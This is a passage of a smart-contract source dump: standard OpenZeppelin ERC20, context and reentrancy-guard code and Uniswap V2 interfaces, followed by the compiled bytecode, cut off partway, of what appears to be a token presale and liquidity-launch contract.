event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
0x60806040526004361061016a5760003560e01c806361d027b3116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610a36578063b9de615714610aa7578063dd62ed3e14610aec578063f2fde38b14610b71576103d5565b806395d89b411461090a57806399348e161461099a578063a457c2d7146109c5576103d5565b806361d027b3146107ca57806370a082311461080b578063715018a61461087057806378e97925146108875780638619b2cc146108b25780638da5cb5b146108c9576103d5565b806335c1d3491161012357806335c1d349146105f057806336cf990814610655578063395093511461069657806340c10f191461070757806355905e71146107625780635e029cd314610779576103d5565b806306fdde03146103da578063095ea7b31461046a57806318160ddd146104db57806323b872dd14610506578063313ce567146105975780633197cbb6146105c5576103d5565b366103d557600260065414156101e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600681905550426007541115610268576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f49742061696e742073746172746564207965740000000000000000000000000081525060200191505060405180910390fd5b4260085410156102e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f49742061696e74206f6e20616e796d6f72652e0000000000000000000000000081525060200191505060405180910390fd5b6102fe336102f960105434610bc290919063ffffffff16565b610c48565b6012339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167fd804c55489c95bc7390762ee63d519706d4443477ad6db89d0c565817901cebc346103af60105434610bc290919063ffffffff16565b604051808381526020018281526020019250505060405180910390a26001600681905550005b600080fd5b3480156103e657600080fd5b506103ef610e0f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042f578082015181840152602081019050610414565b50505050905090810190601f16801561045c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047657600080fd5b506104c36004803603604081101561048d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb1565b60405180821515815260200191505060405180910390f35b3480156104e757600080fd5b506104f0610ecf565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b5061057f6004803603606081101561052957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed9565b60405180821515815260200191505060405180910390f35b3480156105a357600080fd5b506105ac610fb2565b604051808260ff16815260200191505060405180910390f35b3480156105d157600080fd5b506105da610fc9565b6040518082815260200191505060405180910390f35b3480156105fc57600080fd5b506106296004803603602081101561061357600080fd5b8101908080359060200190929190505050610fcf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066157600080fd5b5061066a61100b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106a257600080fd5b506106ef600480360360408110156106b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611031565b60405180821515815260200191505060405180910390f35b34801561071357600080fd5b506107606004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b005b34801561076e57600080fd5b50610777611265565b005b34801561078557600080fd5b506107c86004803603602081101561079c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611656565b005b3480156107d657600080fd5b506107df6119bd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081757600080fd5b5061085a6004803603602081101561082e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e3565b6040518082815260200191505060405180910390f35b34801561087c57600080fd5b50610885611a2b565b005b34801561089357600080fd5b5061089c611b9b565b6040518082815260200191505060405180910390f35b3480156108be57600080fd5b506108c7611ba1565b005b3480156108d557600080fd5b506108de611f5c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561091657600080fd5b5061091f611f86565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561095f578082015181840152602081019050610944565b50505050905090810190601f16801561098c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109a657600080fd5b506109af612028565b6040518082815260200191505060405180910390f35b3480156109d157600080fd5b50610a1e600480360360408110156109e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061202e565b60405180821515815260200191505060405180910390f35b348015610a4257600080fd5b50610a8f60048036036040811015610a5957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120fb565b60405180821515815260200191505060405180910390f35b348015610ab357600080fd5b50610aea60048036036020811015610aca57600080fd5b81019080803567ffffffffffffffff169060200190929190505050612119565b005b348015610af857600080fd5b50610b5b60048036036040811015610b0f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612576565b6040518082815260200191505060405180910390f35b348015610b7d57600080fd5b50610bc060048036036020811015610b9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125fd565b005b600080831415610bd55760009050610c42565b6000828402905082848281610be657fe5b0414610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f146021913960400191505060405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ceb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610cf76000838361287a565b610d0c816002546127f290919063ffffffff16565b600281905550610d63816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ea75780601f10610e7c57610100808354040283529160200191610ea7565b820191906000526020600020905b815481529060010190602001808311610e8a57829003601f168201915b5050505050905090565b6000610ec5610ebe61287f565b8484612887565b6001905092915050565b6000600254905090565b6000610ee6848484612a7e565b610fa784610ef261287f565b610fa285604051806060016040528060288152602001612f3560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f5861287f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d3f9092919063ffffffff16565b612887565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60085481565b60128181548110610fdc57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110da61103e61287f565b846110d5856001600061104f61287f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f290919063ffffffff16565b612887565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061118d5750600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806111e55750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4f6e6c792053746f6f676573210000000000000000000000000000000000000081525060200191505060405180910390fd5b6112618282610c48565b5050565b600260065414156112de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600681905550426008541061135d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f49742061696e74206f6e207965742e000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600960019054906101000a900460ff161515146113e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c726561647920646f6e652e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600960009054906101000a900460ff1615151461146f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f74207965740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600960016101000a81548160ff021916908315150217905550600069152d02c7e14af680000090506114cd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114c8610ecf565b612887565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e8e3370030600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154a600261153c610ecf565b612df990919063ffffffff16565b8560008030426040518963ffffffff1660e01b8152600401808973ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200198505050505050505050606060405180830381600087803b1580156115f957600080fd5b505af115801561160d573d6000803e3d6000fd5b505050506040513d606081101561162357600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050505050506001600681905550565b61165e61287f565b73ffffffffffffffffffffffffffffffffffffffff1661167c611f5c565b73ffffffffffffffffffffffffffffffffffffffff1614611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6f6e6c79206f6e6365000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f193069d3c21bcecceda10000036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156118a757600080fd5b505af11580156118bb573d6000803e3d6000fd5b50505050600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561197e57600080fd5b505af1158015611992573d6000803e3d6000fd5b505050506040513d60208110156119a857600080fd5b81019080805190602001909291905050505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a3361287f565b73ffffffffffffffffffffffffffffffffffffffff16611a51611f5c565b73ffffffffffffffffffffffffffffffffffffffff1614611ada576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60026006541415611c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026006819055504260085410611c99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f49742061696e74206f6e207965742e000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600960009054906101000a900460ff16151514611d22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c726561647920646f6e652e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600960006101000a81548160ff0219169083151502179055506000471115611f5257600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611da96003611d9b600a47612df990919063ffffffff16565b610bc290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dd4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669a968163f0a57b4000000600080600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015611eed57600080fd5b505af1158015611f01573d6000803e3d6000fd5b50505050506040513d6060811015611f1857600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050505050611f5130611f4c610ecf565b610c48565b5b6001600681905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561201e5780601f10611ff35761010080835404028352916020019161201e565b820191906000526020600020905b81548152906001019060200180831161200157829003601f168201915b5050505050905090565b60105481565b60006120f161203b61287f565b846120ec85604051806060016040528060258152602001612fa6602591396001600061206561287f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d3f9092919063ffffffff16565b612887565b6001905092915050565b600061210f61210861287f565b8484612a7e565b6001905092915050565b60026006541415612192576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260068190555060011515600960009054906101000a900460ff16151514612223576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f74207965740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600960019054906101000a900460ff161515146122ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f74207965740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b4260085410612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f49742061696e74206f6e207965742e000000000000000000000000000000000081525060200191505060405180910390fd5b600069152d02c7e14af680000090506000601280549050111561256a5760008061235e6002612350610ecf565b612df990919063ffffffff16565b9050600060128054905090505b60008111156125665760006012600183038154811061238657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006123be826119e3565b905060006123e7856123d9848a610bc290919063ffffffff16565b612df990919063ffffffff16565b905060128054806123f457fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156124bc57600080fd5b505af11580156124d0573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff167f0e4c60f90143d0b2dd0c39d18e23cfdb044d7f5dc74cdb71bc36717995dc19fa8284604051808381526020018281526020019250505060405180910390a285806001019650508767ffffffffffffffff168667ffffffffffffffff161061255557505050612566565b50505080806001900391505061236b565b5050505b50600160068190555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61260561287f565b73ffffffffffffffffffffffffffffffffffffffff16612623611f5c565b73ffffffffffffffffffffffffffffffffffffffff16146126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612732576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612ea66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015612870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561290d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612f826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612993576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612ecc6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b04576040517f08c379a00000000000000000000000000000